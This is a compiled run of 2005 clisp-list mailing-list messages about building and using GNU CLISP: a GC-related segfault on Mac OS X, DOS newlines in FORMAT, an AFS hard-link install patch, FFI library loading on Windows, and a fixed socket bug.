13  gdb-powerpc-apple-darwin 	0x00037298 start_event_loop + 60
14  gdb-powerpc-apple-darwin 	0x000150ac captured_command_loop + 16
15  gdb-powerpc-apple-darwin 	0x0001b1ac catcher + 216
16  gdb-powerpc-apple-darwin 	0x0001b438 catch_errors + 68
17  gdb-powerpc-apple-darwin 	0x000161fc captured_main + 4364
18  gdb-powerpc-apple-darwin 	0x0001b1ac catcher + 216
19  gdb-powerpc-apple-darwin 	0x0001b438 catch_errors + 68
20  gdb-powerpc-apple-darwin 	0x00016238 gdb_main + 56
21  gdb-powerpc-apple-darwin 	0x00002324 main + 48
22  gdb-powerpc-apple-darwin 	0x00001b4c _start + 340
23  gdb-powerpc-apple-darwin 	0x000019f4 start + 60

Thread 1:
0   libSystem.B.dylib        	0x90031aac wait4 + 12
1   gdb-powerpc-apple-darwin 	0x000e7444 macosx_signal_thread + 108
2   libSystem.B.dylib        	0x9002b200 _pthread_body + 96

Thread 2:
0   libSystem.B.dylib        	0x9001422c read + 12
1   gdb-powerpc-apple-darwin 	0x000e700c macosx_exception_thread + 908
2   libSystem.B.dylib        	0x9002b200 _pthread_body + 96


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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-22 23:01:23 +0100]:
>
>>> * "gcc -falign-functions=4 -g"
>>
>> good - please run under gdb and see why it segfaults.
>
> This seems to crash GDB...

please report this bug to the gdb maintainers.
they might be able to shed more light on the clisp crash also...

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On Nov 22, 2005, at 23:09, Sam Steingold wrote:

>> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-22 23:01:23 +0100]:
>>
>>>> * "gcc -falign-functions=4 -g"
>>>
>>> good - please run under gdb and see why it segfaults.
>>
>> This seems to crash GDB...
>
> please report this bug to the gdb maintainers.
> they might be able to shed more light on the clisp crash also...

OK, will do.


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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-22 23:16:36 +0100]:
>
> The stuff I reported in
> http://sourceforge.net/mailarchive/message.php?msg_id=13943578
> didn't help much either, I guess?

well, it's definitely valuable - to know that disabling all internal
CLISP optimizations solves this issue.
if you look at src/lispbibl.d, you will see

#if SAFETY >= 3
  #define NO_ASM
  #define NO_ARI_ASM
  #define NO_FAST_DISPATCH
#endif

it would be interesting to know which specific optimization (NO_ASM &c)
is the culprit, so that we could add a note to unix/PLATFORMS saying
something like "add NO_ARI_ASM to CFLAGS to compile on ... with ...".
can you get us there?

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On Nov 23, 2005, at 00:27, Sam Steingold wrote:

> well, it's definitely valuable - to know that disabling all internal
> CLISP optimizations solves this issue.
> if you look at src/lispbibl.d, you will see
>
> #if SAFETY >= 3
>   #define NO_ASM
>   #define NO_ARI_ASM
>   #define NO_FAST_DISPATCH
> #endif
>
> it would be interesting to know which specific optimization (NO_ASM  
> &c)
> is the culprit, so that we could add a note to unix/PLATFORMS saying
> something like "add NO_ARI_ASM to CFLAGS to compile on ... with ...".
> can you get us there?

Seems that the problem is related to generational GC.

I tried all combos of NO_ASM & co, everything leads to segfault.

I then started looking for other places where SAFETY turns up, and  
after a number of failed attempts I came across this in lispbibl.d:

# Flavor of the garbage collection: normal or generational.
#if defined(VIRTUAL_MEMORY) && (defined(SINGLEMAP_MEMORY) || defined 
(TRIVIALMAP_MEMORY) || (defined(MULTIMAP_MEMORY) && (defined 
(UNIX_LINUX) || defined(UNIX_FREEBSD)))) && defined 
(HAVE_WORKING_MPROTECT) && defined(HAVE_SIGSEGV_RECOVERY) && !defined 
(UNIX_IRIX) && !defined(WIDE_SOFT_LARGEFIXNUM) && (SAFETY < 3) && ! 
defined(NO_GENERATIONAL_GC)
   # "generational garbage collection" has some requirements.
   # With Linux, it will only work with 1.1.52, and higher, which  
will be checked in makemake.
   # On IRIX 6, it worked in the past, but leads to core dumps now.  
Reason unknown. FIXME!
   #define GENERATIONAL_GC
#endif

I added -DNO_GENERATIONAL_GC to CFLAGS ==> no segfault

I guess something has happened between OS X 10.3 and 10.4, as there  
seems to be reports of CLISP working correctly on 10.3 (at least it  
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Sam Steingold wrote:

> 4. evaluate (describe 'nreverse)
>    this will open two broser windows: the CLHS page for NREVERSE and
>    impnotes page for NREVERSE.

[3]> *browser*
:DEFAULT
[4]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is
accessible in 17 packages ASDF, CLOS, COMMON-LISP, COMMON-LISP-USER,
EXPORTING, EXT, FFI, LDAP, MAKE, PCRE, POSIX, RAWSOCK, READLINE, REGEXP,
SCREEN, SYSTEM, ZLIB, names a
;; SYSTEM::GET-CLHS-MAP(#<INPUT BUFFERED FILE-STREAM CHARACTER
#P"C:\\CL\\doc\\HyperSpec\\Data\\Map_Sym.txt" @
1>)...978/978 symbols
 function.
;; starting the default system browser with url
"C:/CL/doc/HyperSpec/Body/f_revers.htm"...done
;; connecting to "http://www.podval.org/~sds/clisp/impnotes/id-href.map"...
;; *HTTP-PROXY*=("OFFICE_DOMAIN\\Kavenchuk_Yaroslav:<pass>" "oregon" 80)
connected...HTTP/1.1 200 OK...64,722 bytes
;; SYSTEM::GET-STRING-MAP(#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER
oregon:80>)...1,773 IDs
;;
SYSTEM::ENSURE-IMPNOTES-MAP(#P"C:\\clisp-2.35\\data\\Symbol-Table.text")...
WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "http-proxy" for symbol
"EXT:HTTP-PROXY"
WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "http-proxy" for symbol
"CUSTOM:*HTTP-PROXY*"
WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "base64" for symbol
"EXT:BASE64-ENCODE"
WARNING: SYSTEM::ENSURE-IMPNOTES-MAP: invalid id "base64" for symbol
"EXT:BASE64-DECODE"
538 IDs
;; starting the default system browser with url
 "http://www.podval.org/~sds/clisp/impnotes/seq-dict.html#nreverse-nreconc"
...done

 #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2
nicknames LISP, CL.
 It imports the external symbols of 1 package CLOS and exports 978
symbols to 16 packages ASDF, MAKE, ZLIB, RAWSOCK, PCRE, LDAP, READLINE,
REGEXP, POSIX, EXPORTING, FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, SYSTEM.

 #<SYSTEM-FUNCTION NREVERSE> is a built-in system function.
 Argument list: (ARG0).


Ok. But both links open in one window :\

Thanks!

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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-23 15:13:16 +0100]:
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>
> Seems that the problem is related to generational GC.

thanks, I put a note into unix/PLATFORMS

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I have a simple program that writes a file that needs to be in DOS format.
How do I tell format to print a carriage-return and linefeed?
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I'm sure there's a better way but a quick hack is

	(format output-stream "~A~A" #\Return #\LineFeed)

ugly but portable.
One imagines there are open options, none of them portable.

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From: Richard Ray <rray@mstc.state.ms.us>
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Subject: [clisp-list] Basic help with format
Date: Thu, 24 Nov 2005 15:36:21 -0600 (CST)

I have a simple program that writes a file that needs to be in DOS format.
How do I tell format to print a carriage-return and linefeed?
This probably doesn't go on this list but you guys are the best Lisp help 
around.

Thanks
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Install still fails with
...
installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
...
because with AFS, some directories reject hard links.

The best fix would be to test for hard link failure
and fall back to copy, on a file by file basis.

The patch given below has no effect.

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        Devon Sean McCullough <Lisp-Hacker@jovi.net>
From: Sam Steingold <sds@gnu.org>
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Subject: [clisp-list] Re: clisp fails to build on Debian 3.1
Date: Tue, 15 Nov 2005 15:24:20 -0500

> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-15 14:29:54 -0500]:
>
> To be precise, change the definition of LN_HARD
>
> clisp-2.35/src/makemake.in
> ...
> 	# LN_HARD = command for copying files, saving disk space if possible
> 	if [ "$HSYSOS" = beos ] ; then
> 	  # The BeOS 5 filesystem has only symbolic links, no hard links.
> 	  LN_HARD='cp -p'
> 	else
> 	  LN_HARD='ln'
> 	fi
> ...
> from 'ln' to something like 'LN_OR_CP'
> which could be defined in bash as
>
> 	LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; }
>
> which should work even on AFS servers.

oh I now see what you were talking about...
please try the appended patch.

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--- makemake.in	11 Nov 2005 11:47:25 -0500	1.617
+++ makemake.in	15 Nov 2005 15:23:47 -0500	
@@ -501,6 +501,7 @@
      # srcdir='@srcdir@'                 # either '.' or '../src', see above
      CP='@CP@'                           # either 'cp -p' or 'cp'
      LN_S='@LN_S@'                       # either 'ln -s' or 'ln'
+     LN='@LN@'                           # either 'ln' or ${CP}
      HLN='@HLN@'                         # either 'ln' or 'hln'
      CC="@CC@"                           # either 'gcc -O' or 'cc'
      CPP="@CPP@"                         # either $CC' -E' or '/lib/cpp'
@@ -913,14 +914,9 @@
 fi
 
 # LN_HARD = command for copying files, saving disk space if possible
-if [ "$HSYSOS" = beos ] ; then
-  # The BeOS 5 filesystem has only symbolic links, no hard links.
-  LN_HARD='cp -p'
-else
-  LN_HARD='ln'
-fi
+LN_HARD=${LN-ln}
 
-# LN = command for making hard links ($HOS = unix only)
+# HLN = command for making hard links ($HOS = unix only)
 if [ "$HLN" = hln ] ; then
   HLN="${HERE}hln"
 fi


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Richard Ray writes:
> I have a simple program that writes a file that needs to be in DOS format.
> How do I tell format to print a carriage-return and linefeed?
> This probably doesn't go on this list but you guys are the best Lisp help 
> around.

This is incorrect:

	(format output-stream "~A~A" #\Return #\LineFeed)

the problem is that in clisp, (eql #\linefeed  #\newline), therefore
you can get TWO #\return issued with this format.

The correct way to output DOS newlines is just to tell it to do so:

(with-open-file (output-stream (make-pathname :name "EXAMPLE" :type "TXT")
                  :external-format (ext:make-encoding 
                                           :charset charset:CP850
                                           :line-terminator :dos)
                  :direction :output
                  :if-exists :supersede
                  :if-does-not-exist :create)
   (format output-stream "Hello~%"))


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Sam Steingold wrote:

> HELP WANTED:
> Someone has to finish clisp/doc/Symbol-Table.text by reading the
> impnotes and putting symbols and xml ids into that file.
> This is an excellent exercise: you will learn a lot about how clisp
> works and what it can do (I bet you have never read more than a few
> snippets from the manual before :-), you will suggest many valuable
> improvements to the manual, and you will help finish the on-line
> documentation!

approach from rear:

(dolist (p *SYSTEM-PACKAGE-LIST*)
  (print p)
  (do-external-symbols (s (find-package p))
    (when (or (boundp s) (fboundp s))
      (unless (or (documentation s 'sys::clhs)
                  (documentation s 'sys::impnotes))
        (format t "~A " s)))))

"ZLIB"
"WILDCARD"
"RAWSOCK"
"PCRE"
"LDAP"
"READLINE"
"REGEXP"
"POSIX" PROCESS-ID
"I18N"
"EXPORTING"
"CS-COMMON-LISP"
"SYSTEM"
"LISP"
"EXT" PROCESS-ID
"GRAY"
"CHARSET"
"CLOS"
"SOCKET"
"GSTREAM"
"FFI"
"SCREEN"

Only PROCESS-ID do not have documentation?

result of do-symbols and do-all-symbols is not meaningful?

Thanks!

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Hi. I'm trying to get clisp running on MacOS X 10.4. I've followed  
these instructions...

> Change the strings in src/config.lisp, using a text editor.
> Then start
>
>          base/lisp.run -M base/lispinit.mem
>
> When the LISP prompt
>
>       [1]> _
>
> appears, type
>
>       (without-package-lock ()
>         (compile-file "src/config.lisp")
>         (load "src/config.fas"))
>
> and then
>
>         (cd "base/")
>         (saveinitmem)
>
> to overwrite the file lispinit.mem with your configuration. Then
>
>         (exit)

and it all appears to work fine. But then it says:

> The rest is done by a simple
>
>         make install

Here I'm stuck... What do I have to do? If I type it, I get this:

  $ make install
-bash: make: command not found


thanks

Pete



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Date: Fri Nov 25 05:04:09 2005
X-Original-Date: Fri, 25 Nov 2005 07:03:26 -0600 (CST)

Just right.
Windoz folks tend to get upset when they open a UNIX terminated file in 
Notepad.

Thanks
Richard

On Fri, 25 Nov 2005, Pascal Bourguignon wrote:

> Richard Ray writes:
>> I have a simple program that writes a file that needs to be in DOS format.
>> How do I tell format to print a carriage-return and linefeed?
>> This probably doesn't go on this list but you guys are the best Lisp help
>> around.
>
> This is incorrect:
>
> 	(format output-stream "~A~A" #\Return #\LineFeed)
>
> the problem is that in clisp, (eql #\linefeed  #\newline), therefore
> you can get TWO #\return issued with this format.
>
> The correct way to output DOS newlines is just to tell it to do so:
>
> (with-open-file (output-stream (make-pathname :name "EXAMPLE" :type "TXT")
>                  :external-format (ext:make-encoding
>                                           :charset charset:CP850
>                                           :line-terminator :dos)
>                  :direction :output
>                  :if-exists :supersede
>                  :if-does-not-exist :create)
>   (format output-stream "Hello~%"))
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> * Richard Ray <eenl@zfgp.fgngr.zf.hf> [2005-11-24 15:36:21 -0600]:
>
> I have a simple program that writes a file that needs to be in DOS format.
> How do I tell format to print a carriage-return and linefeed?

(describe :external-format) in cvs head
(see http://article.gmane.org/gmane.lisp.clisp.general:10430)
or visit http://clisp.cons.org/impnotes/stream-dict.html#extfmt and
read and click around

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-25 13:31:07 +0200]:
>
> "POSIX" PROCESS-ID

good catch! thanks!
look at clhs.lisp: when sys::impnotes doc of a symbol is NIL, it's
package's doc is used. PROCESS-ID is imported into POSIX from SYSTEM, so
it does not pick up impnotes doc from POSIX.

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> * Devon Sean McCullough <Yvfc-Unpxre@Wbiv.Arg> [2005-11-24 23:58:48 -0500]:
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> Install still fails with
> ...
> installing en.gmo as ../locale/en/LC_MESSAGES/clisp.mo
> ln: creating hard link `../locale/en/LC_MESSAGES/clisp.mo' to `en.gmo': Invalid cross-device link
> ...
> because with AFS, some directories reject hard links.

how does one detect afs?

> The best fix would be to test for hard link failure
> and fall back to copy, on a file by file basis.

how do other packages do that?

> The patch given below has no effect.

I take it that @LN@ gets replaced with "ln", right?


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   how does one detect afs?

The cost of understanding the detailed semantics of every specific
file system will become a hellish burden.  Better to either punt
the awfully fragile optimization of "cp -p" ==> "ln"
or simply do it at install time, not config time.

$ df | egrep '^AFS '

might indicate the presence of some AFS-mounted filesystem(s)
in some nearby directory trees, then you get to puzzle out
which directories are AFS, which are NFS, oh my gosh...
nor do I know whether all AFS servers act this way.

   > The best fix would be to test for hard link failure
   > and fall back to copy, on a file by file basis.
   how do other packages do that?

Good question.  GNU ``install'' doesn't do it, although it claims to
share storage between target files as revealed by source dev/ino.
Hair like LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; }
probably belongs there so all installers can benefit, e.g.,
define a HARD_LINK_FOR_COPY environment variable
and add a -l switch like GNU ``cp'' has.
Note that coreutils-5.91/src/install.c
already contains AFS-aware code.

   > The patch given below has no effect.
   I take it that @LN@ gets replaced with "ln", right?

$ grep 'LN=' src/makemake
HLN='ln'
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     HLN='hln'                         # either 'ln' or 'hln'
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> * Devon Sean McCullough <Qriba@Wbiv.Arg> [2005-11-25 15:10:50 -0500]:
>
> and add a -l switch like GNU ``cp'' has.

are you saying that "cp -l" is equivalent to
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??
if it is, we can use that.


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On Nov 25, 2005, at 13:32, pete boardman wrote:

>  $ make install
> -bash: make: command not found

I believe you may need to have the Apple developer tools installed  
(i.e. Xcode & co); do you have that? If not, you can find Xcode 2.1  
on your Tiger CD, and you can find the Xcode 2.2 upgrade at http:// 
developer.apple.com/tools/xcode/index.html.

Hope this helps.


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   From: Sam Steingold <sds@gnu.org>
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   > * Devon Sean McCullough <Qriba@Wbiv.Arg> [2005-11-25 15:10:50 -0500]:
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   > and add a -l switch like GNU ``cp'' has.

   are you saying that "cp -l" is equivalent to
   LN_OR_CP () { ln "$1" "$2" 2>/dev/null || cp -p "$1" "$2"; }
   ??
   if it is, we can use that.

GNU ``cp'' and ``install'' lack any option
to hard link with fall back to copy.

$ cd clisp-2.35/src
$ touch foo
$ ln foo ..
ln: creating hard link `../foo' to `foo': Invalid cross-device link
$ cp -pl foo ..
cp: cannot create link `../foo': Invalid cross-device link
$ 

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hi, I have a CFFI interface to Portmidi that works great in CLISP 
3.35/OSX and Im trying to get it working on CLISP 3.35/WIN32 too. 
However, im having a problem because (ffi::foreign-library :default) is 
returning a null foreign pointer  even though CFFI:LOAD-FOREIGN-LIBRARY 
is returning a valid pointer to the library when the library is loaded. 
Any ideas what is going wrong or how i can fix it?  Im using the binary 
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> * pete boardman <crgr.obneqzna@cbobk.pbz> [2005-11-25 12:32:19 +0000]:
>
>>         make install
>
> Here I'm stuck... What do I have to do? If I type it, I get this:
>
>   $ make install
> -bash: make: command not found

you still have base/lisp.run, base/lispinit.mem, full/lisp.run,
full/lispinit.mem, right?

that's all you need to run CLISP - the rest is just sugar.

invoke the base linking set as
path/to-clisp/base/lisp.run -B path/to-clisp -M path/to-clisp/base/lispinit.mem

and the full linking set as
path/to-clisp/full/lisp.run -B path/to-clisp -M path/to-clisp/full/lispinit.mem

you can create a shortcut (batch script or whatever it is called on
MacOS).

see
http://clisp.cons.org/impnotes/modules.html#base-modules
http://clisp.cons.org/impnotes/modules.html#linkset
http://clisp.cons.org/impnotes/clisp.html#opt-link-set

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> * Rick Taube <gnhor@hvhp.rqh> [2005-11-26 12:51:48 -0600]:
>
> hi, I have a CFFI interface to Portmidi that works great in CLISP
> 3.35/OSX and Im trying to get it working on CLISP 3.35/WIN32
> too. However, im having a problem because (ffi::foreign-library
> :default) is returning a null foreign pointer even though
> CFFI:LOAD-FOREIGN-LIBRARY is returning a valid pointer to the library
> when the library is loaded. Any ideas what is going wrong or how i can
> fix it?  Im using the binary CLISP release from sourceforge.

why are you calling (ffi::foreign-library ...) explicitly?
def-call-out and def-c-var will call it for you.

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(defun socket-status-internal-error ()
  (let* ((server (socket-server 9090))
	 (client (socket-connect 9090 "localhost" :timeout 0 :buffered nil))
	 (socket (socket-accept server :buffered nil)))
    (write-char #\a client)
    (print (socket-status (cons socket :input) 0))
    (print (read-char socket))
    (print (socket-status (cons socket :input) 0))
    (close client)
    (print 'before-error) (force-output)
    (print (socket-status (cons socket :input) 0))))

CL-USER> (lisp-implementation-version)
"2.34 (2005-07-20) (built on winsteingoldlap.ad.alphatech.com 
[10.41.52.183])"
CL-USER> *features*
(:DIRKEY :RAWSOCK :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP
:ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
:LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32)
CL-USER> (posix:version)
#<POSIX:VERSION :MAJOR 5 :MINOR 1 :BUILD 2600 :PLATFORM :NT :SERVICE-PACK ""
  :SERVICE-PACK-MAJOR 0 :SERVICE-PACK-MINOR 0 :SUITES NIL
  :PRODUCT-TYPE :WORKSTATION>
CL-USER> (socket-status-internal-error)

:INPUT
#\a
NIL
BEFORE-ERROR

Internal error: statement in file "stream.d", line 13361 has been reached!!
Please send the authors of the program a description how you produced this 
error!
   [Condition of type SYSTEM::SIMPLE-SERIOUS-CONDITION]

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> why are you calling (ffi::foreign-library ...) explicitly?
> def-call-out and def-c-var will call it for you.

Im not calling it explicitly, CFFI (cffi-luis-051114-1956) expands to 
it, for whatever reason. This is my code:

(cffi:defcfun ("Pm_Initialize" pm-initialize) pm-error)

Macroexpanding it (on my osx machine where i am now) gives me:

(macroexpand '(cffi:defcfun ("Pm_Initialize" pm-initialize) pm-error))
==>
(PROGN NIL
  (DEFUN PM-INITIALIZE NIL
   (CFFI::TRANSLATE-OBJECTS NIL NIL NIL PM-ERROR
    (CFFI-SYS:%FOREIGN-FUNCALL "Pm_Initialize" :INT))))

and then

(macroexpand '(CFFI-SYS:%FOREIGN-FUNCALL "Pm_Initialize" :INT))
==>
(FUNCALL
  (LOAD-TIME-VALUE
   (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY 
:DEFAULT) NIL
    (FFI:PARSE-C-TYPE
     '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE 
:STDC))))))

as i say it works on OSX. But I might also be having problems with the 
portmidi.dll itself.

--rick



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> * Rick Taube <gnhor@hvhp.rqh> [2005-11-26 18:05:17 -0600]:
>
> (FUNCALL
>   (LOAD-TIME-VALUE
>    (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY
>    :DEFAULT) NIL
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>      :STDC))))))
>
> as i say it works on OSX. But I might also be having problems with the
> portmidi.dll itself.

I would expect to see "portmidi.dll" instead of :default
I think you should try to talk to the cffi people

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> * Vasilis M. <infvyvfz@ubgznvy.pbz> [2005-11-26 23:51:22 +0000]:
>
> Internal error: statement in file "stream.d", line 13361 has been reached!!
> Please send the authors of the program a description how you produced
> this error!

Thank you very much for a _perfect_ bug report!
the bug (woe32-specific) has now been fixed in the CVS head.

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On 26 Nov 2005, at 23:00, Sam Steingold wrote:

> you still have base/lisp.run, base/lispinit.mem, full/lisp.run,
> full/lispinit.mem, right?
>
> that's all you need to run CLISP - the rest is just sugar.

Thanks!

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> I would expect to see "portmidi.dll" instead of :default
> I think you should try to talk to the cffi people

ok thanks, ill do that.

best, Rick



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Hello,

Sam Steingold <sds@gnu.org> writes:
>> (FUNCALL
>>   (LOAD-TIME-VALUE
>>    (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY
>>    :DEFAULT) NIL
>>     (FFI:PARSE-C-TYPE
>>      '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE
>>      :STDC))))))
>>
>> as i say it works on OSX. But I might also be having problems with the
>> portmidi.dll itself.
>
> I would expect to see "portmidi.dll" instead of :default
> I think you should try to talk to the cffi people

We use :default there because the library name is not passed to
CFFI:DEFCFUN, in a similar way to pretty much every other FFI. I suppose
this will have to change if we want to support CLISP's non-dynamic FFI.

Rick, can you send a testcase to CFFI mailing list perhaps along with
the results of running CFFI's testsuite?

-- 
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> * Lu=C3=ADs Oliveira <yhvfzob@tznvy.pbz> [2005-11-27 17:41:42 +0000]:
>
> Sam Steingold <sds@gnu.org> writes:
>>> (FUNCALL
>>>   (LOAD-TIME-VALUE
>>>    (FFI::FOREIGN-LIBRARY-FUNCTION "Pm_Initialize" (FFI::FOREIGN-LIBRARY
>>>    :DEFAULT) NIL
>>>     (FFI:PARSE-C-TYPE
>>>      '(FFI:C-FUNCTION (:ARGUMENTS) (:RETURN-TYPE FFI:INT) (:LANGUAGE
>>>      :STDC))))))
>>>
>>> as i say it works on OSX. But I might also be having problems with the
>>> portmidi.dll itself.
>>
>> I would expect to see "portmidi.dll" instead of :default
>> I think you should try to talk to the cffi people
>
> We use :default there because the library name is not passed to
> CFFI:DEFCFUN, in a similar way to pretty much every other FFI. I
> suppose this will have to change if we want to support CLISP's
> non-dynamic FFI.

if by "non-dynamic FFI" you mean clisp-link, then :default is not the way.

if I understand correctly how dlsym() works, it is enough to open the
library once with (ffi::foreign-library "portmidi.dll") and then you can
find symbols there with (:library :default) which means
dlsym("foo",RTLD_DEFAULT).

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>
> Rick, can you send a testcase to CFFI mailing list perhaps along with
> the results of running CFFI's testsuite?

yes of course, ill get another crack at that windows machine later 
today or tomorrow. but im thinking that this may be due -- in whole or 
in part -- to a problem with the .dll itself  because i couldnt load it 
into lispworks personal either. (the portmidi.dll was sent to me by 
someone with a c compiler on xp...) i also have a CFFI interface to 
MidiShare that works in clisp on osx, ill download the xp midshare 
distribution and try that too...




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mcclim contains an INSTALL.CLISP file with the attached instructions.
Unfortunately the third instruction fails.

I'm using cl-asdf-1.89-orig
I'm using clisp-2.35
I'm in /tmp/mcclim-0.9.1 which contains system.lisp

I do:

 cp cl-asdf-1.89-orig/asdf.lisp .
 /tmp/clisp-2.35/src/clisp
 > (compile-file "asdf.lisp")
 > (quit)
 /tmp/clisp-2.35/src/clisp -K full -i $ASDF/asdf.fas -i system.lisp
 ;; Loading file asdf.fas
 ;; Loaded file asdf.fas
 ;; Loading file system.lisp
 ;; Loading file /tmp/macclim-0.9.1/Backends/CLX/system.lisp
 ;; Loaded file /tmp/macclim-0.9.1/Backends/CLX/system.lisp
*** - Condition of type ASDF:DUPLICATE-NAMES
 Break 1 [2]>



suggestions?

Tim Daly

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Install instructions for GNU CLISP
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:::NOTE:::
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1. Get clisp-20041218 or newer. Build it with option --with-module=clx/mit-clx.

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> * root <qnyl@nkvbz-qrirybcre.bet> [2005-11-27 22:57:02 -0500]:
>
> mcclim contains an INSTALL.CLISP file with the attached instructions.
> Unfortunately the third instruction fails.

usually it is a good idea to contact the "low" package maintainers.
e.g. if you use package X (that requires package Y that requires McCLIM)
under CLISP and you get an error,
I would contact the maintainers of X
before contacting the maintainers of Y
before contacting the maintainers of McCLIM
before contacting the maintainers of CLISP.
(mostly because the maintainers of Y do not necessarily use X so they
would need a self-contained bug report.)

but I may be wrong - you can turn up a self-contained test case that
CLISP fails, I would be delighted to have a shot at it.

> I'm using cl-asdf-1.89-orig
> I'm using clisp-2.35
> I'm in /tmp/mcclim-0.9.1 which contains system.lisp
>
> I do:
>
>  cp cl-asdf-1.89-orig/asdf.lisp .
>  /tmp/clisp-2.35/src/clisp
>  > (compile-file "asdf.lisp")
>  > (quit)
>  /tmp/clisp-2.35/src/clisp -K full -i $ASDF/asdf.fas -i system.lisp
>  ;; Loading file asdf.fas
>  ;; Loaded file asdf.fas
>  ;; Loading file system.lisp
>  ;; Loading file /tmp/macclim-0.9.1/Backends/CLX/system.lisp
>  ;; Loaded file /tmp/macclim-0.9.1/Backends/CLX/system.lisp
> *** - Condition of type ASDF:DUPLICATE-NAMES
>  Break 1 [2]>
>
> suggestions?

well, I would try at least ":bt1" and ":i" before asking the McCLIM
maintainers for help.
see http://clisp.cons.org/impnotes/debugger.html

> Install instructions for GNU CLISP
> ----------------------------------
>
> :::NOTE:::
> These install instructions refer to the "system.lisp" installation
> approach. If you have ASDF available, we recommend you follow the
> install instructions in INSTALL.ASDF.
> :::NOTE:::
>
> 1. Get clisp-20041218 or newer. Build it with option --with-module=clx/mit-clx.
>
> 2. Get a copy of the ASDF package. Compile it:
>      $ clisp -c $ASDF/asdf.lisp
>
> 3. Start
>      $ clisp -K full -i $ASDF/asdf.fas -i system.lisp

looks reasonable (except that I would also suggest "-norc",
see http://clisp.cons.org/impnotes/clisp.html#opt-norc).



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Date: Tue Nov 29 02:33:25 2005
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Hi,

xu yong writes:
>(close-foreign-library "user32.dll")
>
>I got message which says ---#<INVALID FOREIGN POINTER...

This is normal: CLISP protects you from calling functions of a closed =
library. I.e. a valid library pointer becomes invalid after closing the =
library. The other pointers (such as foreign function objects) derived =
from this pointer become invalid at the same time, and clisp will =
complain about calling such a function. Try it out!


> MessageBox function resides in user32.dll.
>it would be very in-efficient because,I guess,
>the lib loading and unloading happen every time the lib=20
>function is called.

I wouldn't bother about opening a library such central as user32.dll =
several times. It's very likely to be already in use by the system =
(possibly even CLISP itself?) and therefore need not be reloaded from =
disk.

You're right to raise the question of the lifetime of a library in an =
application. Should it
 o be opened each time a tiny function uses it (which happens rarely?)
 o be opened at some larger level (i.e. when a group of functions is =
entered)?
 o be opened when my application starts?
 o be opened when clisp starts?
However, you are the one to make choice and provide an answer.

One note, though: Executing (Loading) a def-call-out form at top-level =
will cause the library to be opened. Therefore I guess that most =
clisp-users will only ever use foreign functions that have been opened =
when their application (or the clisp image) was loaded.
I suppose only few users control exactly the lifetime of a foreign =
function object (or rather its associated library). CMO/DCOM would use =
this.

Regards,
	J=F6rg H=F6hle.


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Date: Tue Nov 29 04:20:24 2005
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Hello,
I am trying to call a common lisp function from a C/C++ program, is it possible?
Can it be done in a way like libguile for MIT scheme?

Thanks.


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Giuseppe Scrivano writes:

> I am trying to call a common lisp function from a C/C++ program, is
> it possible?  Can it be done in a way like libguile for MIT scheme?

Have a look at Embeddable Common Lisp, ecl, http://ecls.sourceforge.net

It should be possible to do the same with clisp, 
but some "manual assembly requried"...

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> * Giuseppe Scrivano <tfpevinab@tznvy.pbz> [2005-11-29 13:19:57 +0100]:
>
> I am trying to call a common lisp function from a C/C++ program, is it
> possible?

http://clisp.cons.org/impnotes/dffi.html#def-call-in


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Date: Tue Nov 29 06:41:01 2005
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Joerg,
CLISP impnotes still have

Low-level =E2=80=9CFFI=E2=80=9D forms

(FFI:MEMORY-AS address type &OPTIONAL offset)
(SETF (FFI:MEMORY-AS address type &OPTIONAL offset) value)
    FIXME

could you please fix the documentation?
I want to release 2.36 rather soon, so it would be nice to have the
documentation finished.


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2005/11/29, Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com>:
>
> This is normal: CLISP protects you from calling functions of a closed lib=
rary. I.e. a valid library pointer becomes invalid after closing the librar=
y. The other pointers (such as foreign function objects) derived from this =
pointer become invalid at the same time, and clisp will complain about call=
ing such a function. Try it out!
>
Yes,That seems to be the way it works.Nothing wrong about the
message.Somebody in the maillist also told me so.
>
> > MessageBox function resides in user32.dll.
> >it would be very in-efficient because,I guess,
> >the lib loading and unloading happen every time the lib
> >function is called.
>
> I wouldn't bother about opening a library such central as user32.dll seve=
ral times. It's very likely to be already in use by the system (possibly ev=
en CLISP itself?) and therefore need not be reloaded from disk.
>
In fact, the user32.dll was only for small test,to confirm myself that
CLISP provide
convinient way to load and unload dynamic library.Of couse I would not
re-open the central library like user32.dll.:)
Thogh, I think dynamic library unloading(re-loading) is important for me,be=
cause
I want to use my own dll library, and when I find there something wrong wit=
h
my library, I would like to re-build my dll library and reload it
without quit CLISP.


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Sam Steingold wrote:
>(FFI:MEMORY-AS address type &OPTIONAL offset)
>(SETF (FFI:MEMORY-AS address type &OPTIONAL offset) value)
Please include the following in impnotes (right now I've got 0 time to =
go and get a CVS clisp and test and check XML Docbook):

